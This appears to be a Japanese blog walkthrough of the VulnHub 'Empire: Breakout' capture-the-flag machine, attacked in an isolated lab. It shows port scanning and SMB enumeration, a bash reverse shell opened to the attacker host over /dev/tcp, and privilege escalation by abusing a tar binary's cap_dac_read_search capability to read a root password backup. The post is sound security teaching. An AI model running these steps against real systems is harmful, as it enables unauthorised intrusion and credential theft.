当サイトの一部ページには、アフィリエイト・アドセンス・アソシエイト・プロモーション広告を掲載しています。

Amazonのアソシエイトとして、Security Akademeiaは適格販売により収入を得ています。

広告配信等の詳細については、プライバシーポリシーページに掲載しています。

消費者庁が、2023年10月1日から施行する景品表示法の規制対象(通称:ステマ規制)にならないよう、配慮して記事を作成しています。もし問題の表現がありましたら、問い合わせページよりご連絡ください。

参考:令和5年10月1日からステルスマーケティングは景品表示法違反となります。 | 消費者庁

Empire: Breakout 攻略 Walkthrough【VulnHub編】

2023年7月17日

0

はじめに

いつもブログをご覧いただきありがとうございます。

コーストFIRE中のIPUSIRONです😀

IPUSIRONのプロフィールを見る

ハッキングの準備【実習】

実験で使用するターゲット端末は、次の表のとおりです。

URLhttps://www.vulnhub.com/entry/empire-breakout,751/
名前Empire: Breakout
ファイル名02-Breakout.zip
ファイルサイズ1,013Mバイト
ファイルタイプVirtualBoxのOVA
リリース日2021年10月21日
OSLinux
教材種別Boot2Root(rootのフラグの奪取)
ネットワーク設定IPアドレスは動的割り当て
難易度初級
一言解説難易度は初級だが、迷子になると難易度は上がる。
Breakoutの基本情報

今回は、VirtualBoxのホストオンリーネットワーク内に攻撃端末(ParrotOSマシン)とターゲット端末(Breakoutマシン)を起動して実験します。

以下の手順に従ってターゲット端末を構築します。

1:ターゲット端末の仮想マシンをダウンロードする

当該URLにアクセスします。ダウンロード用のURLがありますので、そのリンクから"02-Breakout.zip"ファイルをダウンロードします。

2:ファイルを解凍する

解凍すると"02 – Breakout"フォルダーになり、その中に次の3つのファイルがあります。

  • “Breakout.mf"ファイル
  • “Breakout.ovf"ファイル
  • “Breakout-disk1.vmdk"ファイル

3:OVFファイルをインポートする

VirtualBoxを起動し、以下の手順でインポートします。

メニューの「ファイル」>「仮想アプライアンスのインポート」を選びます。「インポートしたい仮想アプライアンス」画面にて、ソースに「ローカルファイルシステム」、ファイルに"Breakout.ovf"ファイルを指定して、[次へ]ボタンを押します。

「仮想アプライアンスの設定」画面では仮想マシンの構成が表示されます。

仮想マシン名は"vm"ですので、"Breakout"に変更します(図●)。

仮想マシンの基本フォルダーにVirtualBox用の仮想マシンを収録するフォルダー("C:\VM_Guest\VBox"など)が指定されていること、ストレージコントローラー(SCSI)の仮想ディスクイメージに"Breakout-disk1.vmdk"ファイルが指定されていることを確認します。

MACアドレスのポリシーでは「すべてのネットワークアダプタのMACアドレスを含む」を選択して、[インポート]ボタンを押します。

4:仮想マシンの仮想ネットワークアダプターを設定する

インポートが完了すると、VirtualBoxの左ペインに表示されます。ネットワークの設定が残っていますので、Potatoマシンを選んだ状態で右クリックして「設定」を選びます。「設定」画面が表示されたら、左ペインから「ネットワーク」を選びます。「アダプター1」タブを選び、次の設定を適用して、[OK]ボタンを押して反映させます。

アダプター1・ネットワークアダプターを有効化:チェック
・割り当て:ホストオンリーアダプター
・名前:VirtualBox Host-Only Ethernet Adapter
アダプター2・ネットワークアダプターを有効化:チェックしない

その後、[OK]ボタンを押して反映させます。

Breakoutをハッキングする【実験】

ステップ1:Breakoutマシンを起動する

ターゲット端末のBreakoutマシンを起動します。"breakout login"という認証画面になりましたら、起動に成功しています(図)。メッセージからIPアドレスは192.168.56.117とわかります。

ステップ2:ParrotOSを起動する

攻撃端末であるParrotOSの仮想マシンを起動します。

ステップ3:ParrotOSのIPアドレスを調べる

ParrotOSのIPアドレスを調べます。ここでは192.168.56.101であるものとします。

1
2
3
┌─[ipusiron@parrot]─[~]
└──╼ $ip -4 addr show dev enp0s3
(略)

ステップ4:BreakoutマシンのIPアドレスを特定する

Pingスイープで調べても構いませんが、Breakoutの起動画面の上部にIPアドレスが表示されていたので、GitRootマシンは192.168.56.117とわかります。

ステップ5:IPアドレスを環境設定に設定する

GitRootマシンのIPアドレスは何度も使うので、環境変数IPに設定することにします。exportコマンドで環境変数を設定でき、echoコマンドで環境変数の内容を確認できます[1]exportコマンドでは環境変数を設定する際にはIPの頭に「echo」をつけます。

1
2
3
4
5
┌─[ipusiron@parrot]─[~]
└──╼ $export IP=192.168.56.117
┌─[ipusiron@parrot]─[~]
└──╼ $echo $IP
192.168.56.117

ステップ6:BreakoutマシンにPingする

Breakoutマシンに対して疎通確認します。このとき環境変数IPを用いてみます。

1
2
3
┌─[ipusiron@parrot]─[~]
└──╼ $ping -c 1 $IP
(略)

Ping応答が返ってくれば、通信に成功しています。

ステップ7:実験用のディレクトリーを作成する

作業ディレクトリーとして"/home/<ユーザー名>/vulnhub/breakout"ディレクトリーを作成し、その中で作業します。

1
2
3
4
┌─[ipusiron@parrot]─[~]
└──╼ $mkdir vulnhub
┌─[ipusiron@parrot]─[~]
└──╼ $mkdir vulnhub/breakout

ステップ8:ポートスキャンする

NmapでBreakoutマシンをポートスキャンします。Breakoutマシンで提供しているサービスとそのポート番号を特定できます。

  • -p-:全ポートを対象。
  • -A:OS検知、バージョン検知、スクリプトスキャン、tracerouteを有効化する。
  • -T:スキャンの効率性を設定する。paranoid(0)、sneaky(1)、polite(2)、normal(3)、agressive(4)、insane(5)といった6種類のタイミングテンプレートがある。デフォルトはnormal(3)。数値が上げるとスキャン速度が速くなる。
  • –system-dns:システムのDNSリゾルバを使う。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─[ipusiron@parrot]─[~/vulnhub]
└──╼ $cd breakout/
┌─[ipusiron@parrot]─[~/vulnhub/breakout]
└──╼ $nmap -p- -A -T 4 $IP --system-dns
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-30 16:16 JST
Nmap scan report for 192.168.56.117
Host is up (0.00038s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ( (Debian) )
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
|_http-title: 200 &mdash; Document follows
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
|_http-title: 200 &mdash; Document follows
 
Host script results:
|_clock-skew: 8h59m56s
| smb2-time:
|   date: 2022-12-30T16:16:37
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.40 seconds

Nmapの出力から次のTCPポートが開いていることがわかりました。以降のステップで脆弱そうなポートから調査していきます。

  • ポート80/TCP・・・HTTPサービス。Apache httpd 2.4.51が動作している。攻略の足がかりとして最初に取り組むべき。
  • ポート139/TCP・・・Sambaサービス(NetBIOS SSN)。Samba smbd 4.6.2が動作している。
  • ポート445/TCP・・・Sambaサービス(NetBIOS SSN)。Samba smbd 4.6.2が動作している。
  • ポート10000/TCP・・・HTTPサービス。MiniServ 1.981 (Webmin httpd)が動作している。
  • ポート20000/TCP・・・HTTPサービス。MiniServ 1.830 (Webmin httpd)が動作している。

ステップ9:HTTPサービスにアクセスする

BreakoutマシンではHTTPサービスを提供しています。ParrotOS上でブラウザーを起動して、http://192.168.56.117/にアクセスします。

“Apache2 Debian Default Page"というデフォルトページが表示されます。Apache2が動作していることがわかります。

不審な点がないように思えますが、ソースを見ると行数が多いことに気づきます。スクロールしていくと、コメントに暗号文が書いてあります。どうやら共有サービスに安全にアクセスするための情報のようです。

暗号文を抽出すると次のとおりです。

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

使われている文字からBrainfuckのエンコード文字列のように思われます。

オンラインデコーダーでデコードしてみます。オンラインデコーダーは色々ありますので、好きなサイトを使ってください。

デコードした結果、".2uqPEfj3D<P’a-3″という文字列が得られます。

ステップ10:別のHTTPサービスにアクセスする

ブラウザーでhttps://192.168.56.117:20000/にアクセスします。

リスクが残っているHTTPSアクセスですので、"Warning: Potential Security Risk Ahead"というワーニングが表示されますが、無視して先に進みます。[Advanced]ボタンをから[Accept the Risk and Continue]ボタンを押します(図)。

すると、"Login to Usermin"という認証画面が表示されます(図)。

引き続いて別のタブでhttps://192.168.56.117:10000/にアクセスします。ワーニングについても先ほどと同じように無視します。すると、"Longin to Webmin"という認証画面が表示されます(図)。

よって、前者はユーザー権限の認証画面、後者は管理者権限の認証画面ということになります。まだ認証情報は得ていないので画面を表示したままにしておき、別の攻撃に移ります。

ステップ11:SMB共有サービスを調べる

Nmapの出力結果から、 NetBIOS-SSNサービスを提供している2ポートが開いていることを発見しました。

enumを使ってSMB共有サービスについて調査します。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
┌─[ipusiron@parrot]─[~/vulnhub/breakout]
└──╼ $enum4linux -a $IP
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 31 10:50:30 2022
 
 ==========================
|    Target Information    |
 ==========================
Target ........... 192.168.56.117
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 
 
 ======================================================
|    Enumerating Workgroup/Domain on 192.168.56.117    |
 ======================================================
[+] Got domain/workgroup name: WORKGROUP
 
 ==============================================
|    Nbtstat Information for 192.168.56.117    |
 ==============================================
Looking up status of 192.168.56.117
    BREAKOUT        <00> -         B <ACTIVE>  Workstation Service
    BREAKOUT        <03> -         B <ACTIVE>  Messenger Service
    BREAKOUT        <20> -         B <ACTIVE>  File Server Service
    ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
    WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
    WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
    WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
 
    MAC Address = 00-00-00-00-00-00
 
 =======================================
|    Session Check on 192.168.56.117    |
 =======================================
[+] Server 192.168.56.117 allows sessions using username '', password ''
 
 =============================================
|    Getting domain SID for 192.168.56.117    |
 =============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
 
 ========================================
|    OS information on 192.168.56.117    |
 ========================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.56.117 from smbclient:
[+] Got OS info for 192.168.56.117 from srvinfo:
    BREAKOUT       Wk Sv PrQ Unx NT SNT Samba 4.13.5-Debian
    platform_id     :   500
    os version      :   6.1
    server type     :   0x809a03
 
 ===============================
|    Users on 192.168.56.117    |
 ===============================
Use of uninitialized value $users in print at ./enum4linux.pl line 874.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877.
 
Use of uninitialized value $users in print at ./enum4linux.pl line 888.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890.
 
 ===========================================
|    Share Enumeration on 192.168.56.117    |
 ===========================================
 
    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    IPC$            IPC       IPC Service (Samba 4.13.5-Debian)
SMB1 disabled -- no workgroup available
 
[+] Attempting to map shares on 192.168.56.117
//192.168.56.117/print$ Mapping: DENIED, Listing: N/A
//192.168.56.117/IPC$   [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
 
 ======================================================
|    Password Policy Information for 192.168.56.117    |
 ======================================================
 
 
[+] Attaching to 192.168.56.117 using a NULL share
 
[+] Trying protocol 139/SMB...
 
[+] Found domain(s):
 
    [+] BREAKOUT
    [+] Builtin
 
[+] Password Info for Domain: BREAKOUT
 
    [+] Minimum password length: 5
    [+] Password history length: None
    [+] Maximum password age: 37 days 6 hours 21 minutes
    [+] Password Complexity Flags: 000000
 
        [+] Domain Refuse Password Change: 0
        [+] Domain Password Store Cleartext: 0
        [+] Domain Password Lockout Admins: 0
        [+] Domain Password No Clear Change: 0
        [+] Domain Password No Anon Change: 0
        [+] Domain Password Complex: 0
 
    [+] Minimum password age: None
    [+] Reset Account Lockout Counter: 30 minutes
    [+] Locked Account Duration: 30 minutes
    [+] Account Lockout Threshold: None
    [+] Forced Log off Time: 37 days 6 hours 21 minutes
 
 
[+] Retieved partial password policy with rpcclient:
 
Password Complexity: Disabled
Minimum Password Length: 5
 
 
 ================================
|    Groups on 192.168.56.117    |
 ================================
 
[+] Getting builtin groups:
 
[+] Getting builtin group memberships:
 
[+] Getting local groups:
 
[+] Getting local group memberships:
 
[+] Getting domain groups:
 
[+] Getting domain group memberships:
 
 =========================================================================
|    Users on 192.168.56.117 via RID cycling (RIDS: 500-550,1000-1050)    |
 =========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-1683874020-4104641535-3793993001
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-500 *unknown*\*unknown* (8)
…(中略)…
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-32-1000 *unknown*\*unknown* (8)
…(中略)…
S-1-5-32-1050 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-5-21-1683874020-4104641535-3793993001 and logon username '', password ''
S-1-5-21-1683874020-4104641535-3793993001-500 *unknown*\*unknown* (8)
S-1-5-21-1683874020-4104641535-3793993001-501 BREAKOUT\nobody (Local User)
S-1-5-21-1683874020-4104641535-3793993001-502 *unknown*\*unknown* (8)
…(中略)…
S-1-5-21-1683874020-4104641535-3793993001-512 *unknown*\*unknown* (8)
S-1-5-21-1683874020-4104641535-3793993001-513 BREAKOUT\None (Domain Group)
S-1-5-21-1683874020-4104641535-3793993001-514 *unknown*\*unknown* (8)
…(中略)…
S-1-5-21-1683874020-4104641535-3793993001-1050 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\cyber (Local User)
 
 ===============================================
|    Getting printer info for 192.168.56.117    |
 ===============================================
No printers returned.
 
 
enum4linux complete on Sat Dec 31 10:50:51 2022

Local Userとしてcyberユーザーを発見しました。これはUserwin/Webmin認証画面でのログインに役立ちそうです。

ステップ12:Userwin/Webmin認証画面にログインを試みる

Userwin/Webmin認証画面でログインを試みます。

ユーザー名は"cyber"、パスワードは".2uqPEfj3D<P’a-3″です。

Webmin認証画面ではログインに失敗しますが、Usermin認証画面(https://192.168.56.117:20000/)ではログインに成功します。

左側にハンバーガーアイコンが表示されますのでクリックします。するとメニューが表示されます。一番下にアイコンが並んでおり、左から2番目のアイコン(プロンプトマーク)を押します(図)[2]「Mail」タブの隣の「Usermin」タブを選び、ダッシュボードが表示されます。ここからブラウザー経由で各種操作ができます。「Command … Continue reading。すると画面が暗くなり、「Command Shell」画面に切り替わります(図)。

プロンプトは「$」です。

idコマンドを実行すると次のようになります。ユーザー権限であり、まだルート権限ではありません。

1
2
[cyber@breakout ~]$ id
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

「Command Shell」画面で調査を進めます[3]「Command Shell」画面を終える場合は、右上にある赤い×マークを押します。

ステップ13:ユーザーのフラグファイルを開く

cyberユーザーのホームディレクトリーを見ると、"user.txt"ファイルがあります。フラグが書いてありました。

1
2
3
4
5
6
7
[cyber@breakout ~]$ pwd
/home/cyber
[cyber@breakout ~]$ ls
tar
user.txt
[cyber@breakout ~]$ cat user.txt
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

ステップ14:リバースシェルを設置する

「Command Shell」画面のまま調査を継続してもよいですが、今回は学習を目的にしていますので、リバースシェルを設置します。ここではbashタイプのリバースシェルを用いて、ParrotOSからコマンドを実行できるようにします。

ParrotOSでNetcatで待ち受け状態を作ります。

1
2
3
4
┌─[ipusiron@parrot]─[~/vulnhub/breakout]
└──╼ $nc -lvnp 4444
listening on [any] 4444 ...
(待ち状態になる)

「Command Shell」画面で次を実行します。

1
[cyber@breakout ~]$ bash -i >& /dev/tcp/192.168.56.101/4444 0>&1

うまくいけば、Netcat側に反応があり、プロンプトが返ってきます。

1
2
3
4
5
6
7
┌─[ipusiron@parrot]─[~/vulnhub/breakout]
└──╼ $nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.117] 33764
bash: cannot set terminal process group (5163): Inappropriate ioctl for device
bash: no job control in this shell
cyber@breakout:~$

ステップ15:sudoの設定を確認する

cyberユーザーのまま調査を続けます。sudo -lコマンドを実行すると、sudoコマンドがないことがわかります。

1
2
3
cyber@breakout:~$ sudo -l
sudo -l ←コマンドの入力はエコーバックで返ってくる。以降は省略する。
bash: sudo: command not found

ステップ16:怪しい"tar"ファイルを調べる

ホームディレクトリーに"tar"という怪しいファイルがあるので調べます。fileコマンドより実行ファイルがわかりますので、実際に実行してみます。出力内容からtarコマンドのように考えれます。

1
2
3
4
5
6
7
8
9
10
cyber@breakout:~$ ls
tar
user.txt
cyber@breakout:~$ ls -la tar
-rwxr-xr-x 1 root root 531928 Oct 19  2021 tar
cyber@breakout:~$ file tar
tar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1249cb, for GNU/Linux 3.2.0, stripped
cyber@breakout:~$ ./tar
./tar: You must specify one of the '-Acdtrux', '--delete' or '--test-label' options
Try './tar --help' or './tar --usage' for more information.

本物のtarコマンドとの違いを調べてみます。

md5sumコマンドで"/bin/tar"のハッシュ値と比較すると一致しています。つまり、"/bin/tar"の同一ファイルが、cyberユーザー所有であり、"/home/cyber"ディレクトリー内に存在するということです。

1
2
3
4
5
6
cyber@breakout:~$ which tar
/bin/tar
cyber@breakout:~$ md5sum tar      
2c07f16d9be6d1bef784bd37928f18c1  tar
cyber@breakout:~$ md5sum /bin/tar
2c07f16d9be6d1bef784bd37928f18c1  /bin/tar

この"tar"ファイルはCAP_DAC_READ_SEARCHというケーバビリティーがepに設定されています。これはファイルの読み出しと実行ができる権限があることを意味します。

1
2
cyber@breakout:~$ getcap ./tar
./tar cap_dac_read_search=ep

ケーバビリティーについてシステム全体を調べてみます。

ユーザー権限でアクセスできないエラーが表示されることが事前にわかっていますので、「2> /dev/null」をつけて標準エラーを捨てています。

1
2
3
cyber@breakout:~$ getcap -r / 2> /dev/null
/home/cyber/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep

ステップ17:バックアップディレクトリー内のファイルを解析する

“/var/backpus"ディレクトリーがありますので、隠しファイルを含めて列挙します[4]“dpkg.*"ファイル類は環境によっては存在しませんが、攻略には無関係ですので気にする必要はありません。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
cyber@breakout:~$ cd /var
cyber@breakout:/var$ ls
backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
usermin
webmin
www
cyber@breakout:/var$ cd backups
cyber@breakout:/var/backups$ ls -la
total 480
drwxr-xr-x  2 root root   4096 Dec 31 06:25 .
drwxr-xr-x 14 root root   4096 Oct 19  2021 ..
-rw-r--r--  1 root root  40960 Dec 31 06:25 alternatives.tar.0
-rw-r--r--  1 root root  12732 Oct 19  2021 apt.extended_states.0
-rw-r--r--  1 root root      0 Dec 31 06:25 dpkg.arch.0
-rw-r--r--  1 root root    186 Oct 19  2021 dpkg.diversions.0
-rw-r--r--  1 root root    135 Oct 19  2021 dpkg.statoverride.0
-rw-r--r--  1 root root 413488 Oct 19  2021 dpkg.status.0
-rw-------  1 root root     17 Oct 20  2021 .old_pass.bak
cyber@breakout:/var/backups$ file .old_pass.bak
.old_pass.bak: regular file, no read permission

“.old_pass.bak"という気になる名前のファイルがありますが、権限が足りずに開けません。

先ほどホームディレクトリーに"tar"ファイルがあったことと照らし合わせると、このファイルをアーカイブ化してから、展開すれば内容を読み取れそうです。

  • -c:新規にアーカイブイブを作成する。
  • -f:アーカイブファイルを指定する。
1
2
3
4
5
6
7
8
9
10
cyber@breakout:~$ pwd
/home/cyber
cyber@breakout:~$ ./tar -cf backup.tar /var/backups/.old_pass.bak
./tar: Removing leading `/' from member names
cyber@breakout:~$ ls
backup.tar ←アーカイブ化できた。
tar
user.txt
cyber@breakout:~$ file backup.tar
backup.tar: POSIX tar archive (GNU)

“backpu.tar"というアーカイブファイルができました。今度はアーカイブファイルを展開します。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cyber@breakout:~$ tar -xf backup.tar
cyber@breakout:~$ ls
backup.tar
tar
user.txt
var
cyber@breakout:~$ cd var
cyber@breakout:~/var$ ls
backups
cyber@breakout:~/var$ cd backups
cyber@breakout:~/var/backups$ ls -la
total 12
drwxr-xr-x 2 cyber cyber 4096 Dec 31 06:59 .
drwxr-xr-x 3 cyber cyber 4096 Dec 31 06:59 ..
-rw------- 1 cyber cyber   17 Oct 20  2021 .old_pass.bak

展開後の".old_pass.bak"ファイルはcyberユーザー所有になっています。これで開けます。

1
2
3
4
cyber@breakout:~/var/backups$ file .old_pass.bak
.old_pass.bak: ASCII text
cyber@breakout:~/var/backups$ cat .old_pass.bak
Ts&4&YurgtRX(=~h

「ファイル名に"pass"と含まれていること」「文字列が英数記号が含まれていること」から、文字列"Ts&4&YurgtRX(=~h"はパスワードであると推測できます。

ステップ18:suコマンドを実行する

“Ts&4&YurgtRX(=~h"は何のパスワードかということが問題ですが、元々".old_pass.bak"ファイルの所有者がrootユーザーでしたので、rootユーザーのパスワードと推測できます。suコマンドで試します。

1
2
cyber@breakout:~/var/backups$ su root
Password: Ts&4&YurgtRX(=~h ←"Ts&4&YurgtRX(=~h"を入力。

パスワード直後は何も変化しないように見えますが、プロンプトが返ってきていないだけですでにユーザーの切り替えに成功しています[5]Userminの「Command Shell」画面でsuコマンドでrootユーザーに切り替えようとすると、"Authentication failure"とエラーが出ます。。実際にidコマンドを入力すると、rootユーザーであることがわかります。

1
2
id
uid=0(root) gid=0(root) groups=0(root)

ステップ19:Pythonのptyモジュールを用いてTTYシェルに切り替える

Pythonのptyモジュールを用いてTTYシェルに切り替えることを目標にします。これにより、プロンプトを返るようになり、使い勝手が向上します。

1
2
3
4
which python3
/bin/python3
python3 -c "import pty;pty.spawn('/bin/sh')"
# ←プロンプトが返ってきた。

ステップ20:"r00t.txt"ファイルを開こうと試みる

“r00t.txt"ファイルが見つかりました。しかし、ここで"r00t.txt"ファイルが開けたら攻略は終わりでしたが、残念ながらcatコマンドで開こうとしましたが失敗しました。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# pwd
/home/cyber/var/backups
# cd /root
# ls -la
ls -la
total 40
drwx------  6 root root 4096 Oct 20  2021 .
drwxr-xr-x 18 root root 4096 Oct 19  2021 ..
-rw-------  1 root root  281 Oct 20  2021 .bash_history
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Oct 19  2021 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root  100 Oct 19  2021 rOOt.txt
drwx------  2 root root 4096 Oct 19  2021 .spamassassin
drwxr-xr-x  2 root root 4096 Oct 19  2021 .tmp
drwx------  6 root root 4096 Oct 19  2021 .usermin
# file r00t.txt
r00t.txt: cannot open `r00t.txt' (No such file or directory)
# cat r00t.txt
cat: r00t.txt: No such file or directory

ステップ21:Webmin認証画面からログインする

Webmin認証画面(https://192.168.56.117:10000/)を開き、ユーザー名は"root"、パスワードは"Ts&4&YurgtRX(=~h"を入力します。すると認証に成功し、システム情報が表示されます(図)。

ハンバーガーアイコンから「Command Shell」画面を表示します。ここから"r00t.txt"ファイルを開きます(図)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@breakout ~]# pwd
/root
[root@breakout ~]# ls -la
total 40
drwx------  6 root root 4096 Oct 20  2021 .
drwxr-xr-x 18 root root 4096 Oct 19  2021 ..
-rw-------  1 root root  281 Oct 20  2021 .bash_history
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Oct 19  2021 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
drwx------  2 root root 4096 Oct 19  2021 .spamassassin
drwxr-xr-x  2 root root 4096 Oct 19  2021 .tmp
drwx------  6 root root 4096 Oct 19  2021 .usermin
-rw-r--r--  1 root root  100 Oct 19  2021 rOOt.txt
[root@breakout ~]# cat rOOt.txt
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}
 
Author: Icex64 & Empire Cybersecurity

無事フラグを表示できました。

以上で攻略を終了します。

0

References

References
1 exportコマンドでは環境変数を設定する際にはIPの頭に「echo」をつけます。
2 「Mail」タブの隣の「Usermin」タブを選び、ダッシュボードが表示されます。ここからブラウザー経由で各種操作ができます。「Command Shell」アイコンもあります。
3 「Command Shell」画面を終える場合は、右上にある赤い×マークを押します。
4 “dpkg.*"ファイル類は環境によっては存在しませんが、攻略には無関係ですので気にする必要はありません。
5 Userminの「Command Shell」画面でsuコマンドでrootユーザーに切り替えようとすると、"Authentication failure"とエラーが出ます。